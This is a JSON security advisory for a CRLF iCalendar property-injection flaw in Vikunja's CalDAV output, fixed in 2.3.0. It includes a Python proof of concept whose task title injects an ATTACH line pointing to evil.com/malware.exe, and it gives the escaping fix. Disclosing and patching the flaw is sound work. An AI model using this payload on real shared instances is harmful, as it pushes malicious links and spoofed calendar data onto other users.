{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35601"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T15:35:05Z",
    "nvd_published_at": "2026-04-10T17:17:03Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as `ATTACH`, `VALARM`, or `ORGANIZER`.\n\n## Details\n\nThe `ParseTodos` function at `pkg/caldav/caldav.go:146` concatenates the task summary directly into the iCalendar output:\n\n```go\nSUMMARY:` + t.Summary + getCaldavColor(t.Color)\n```\n\nRFC 5545 Section 3.3.11 requires TEXT property values to escape newlines as `\\n`, semicolons as `\\;`, commas as `\\,`, and backslashes as `\\\\`. None of these escaping rules are applied to `Summary`, `Categories`, `UID`, project name, or alarm `Description` fields.\n\nGo\u0027s JSON decoder preserves literal CR/LF bytes in string values, so task titles created via the REST API retain CRLF characters. When these tasks are served via CalDAV, the newlines break the `SUMMARY` property and the subsequent text is parsed by CalDAV clients as independent iCalendar properties.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2.\n\n```python\nimport requests\nfrom requests.auth import HTTPBasicAuth\n\nTARGET = \"http://localhost:3456\"\nAPI = f\"{TARGET}/api/v1\"\n\ntoken = requests.post(f\"{API}/login\",\n    json={\"username\": \"alice\", \"password\": \"Alice1234!\"}).json()[\"token\"]\nh = {\"Authorization\": f\"Bearer {token}\", \"Content-Type\": \"application/json\"}\n\nproj = requests.put(f\"{API}/projects\", headers=h, json={\"title\": \"CalDAV Test\"}).json()\n\n# create task with CRLF injection in title\ntask = requests.put(f\"{API}/projects/{proj[\u0027id\u0027]}/tasks\", headers=h, json={\n    \"title\": \"Meeting\\r\\nATTACH:https://evil.com/malware.exe\\r\\nX-INJECTED:pwned\"\n}).json()\n\n# set UID (normally done by CalDAV sync; here via sqlite for PoC)\n# sqlite3 vikunja.db \"UPDATE tasks SET uid=\u0027inject-test-001\u0027 WHERE id={task[\u0027id\u0027]};\"\nTASK_UID = \"inject-test-001\"\n\n# fetch via CalDAV\ncaldav_token = requests.put(f\"{API}/user/settings/token/caldav\", headers=h).json()[\"token\"]\nr = requests.get(f\"{TARGET}/dav/projects/{proj[\u0027id\u0027]}/{TASK_UID}.ics\",\n                 auth=HTTPBasicAuth(\"alice\", caldav_token))\nprint(r.text)\n```\n\nOutput:\n```\nBEGIN:VCALENDAR\nVERSION:2.0\nBEGIN:VTODO\nUID:inject-test-001\nDTSTAMP:20260327T130452Z\nSUMMARY:Meeting\nATTACH:https://evil.com/malware.exe\nX-INJECTED:pwned\nCREATED:20260327T130452Z\nLAST-MODIFIED:20260327T130452Z\nEND:VTODO\nEND:VCALENDAR\n```\n\nThe `ATTACH` and `X-INJECTED` lines appear as separate, valid iCalendar properties. CalDAV clients will parse these as legitimate properties.\n\n## Impact\n\nAn authenticated user with write access to a shared project can create tasks with CRLF-injected titles via the REST API. When other users sync via CalDAV, the injected properties take effect in their calendar clients. This enables:\n- Injecting malicious attachment URLs (`ATTACH`) that clients may auto-download or display\n- Creating fake alarm notifications (`VALARM`) for social engineering\n- Spoofing organizer identity (`ORGANIZER`)\n\n## Recommended Fix\n\nApply RFC 5545 TEXT value escaping to all user-controlled fields:\n\n```go\nfunc escapeICal(s string) string {\n    s = strings.ReplaceAll(s, \"\\\\\", \"\\\\\\\\\")\n    s = strings.ReplaceAll(s, \";\", \"\\\\;\")\n    s = strings.ReplaceAll(s, \",\", \"\\\\,\")\n    s = strings.ReplaceAll(s, \"\\n\", \"\\\\n\")\n    s = strings.ReplaceAll(s, \"\\r\", \"\")\n    return s\n}\n```\n\nApply `escapeICal()` to `t.Summary`, `config.Name`, `t.Categories` items, `a.Description`, `t.UID`, and `r.UID`.\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-2g7h-7rqr-9p4r",
  "modified": "2026-04-10T19:45:55Z",
  "published": "2026-04-10T15:35:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2g7h-7rqr-9p4r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35601"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/pull/2580"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja has iCalendar Property Injection via CRLF in CalDAV Task Output"
}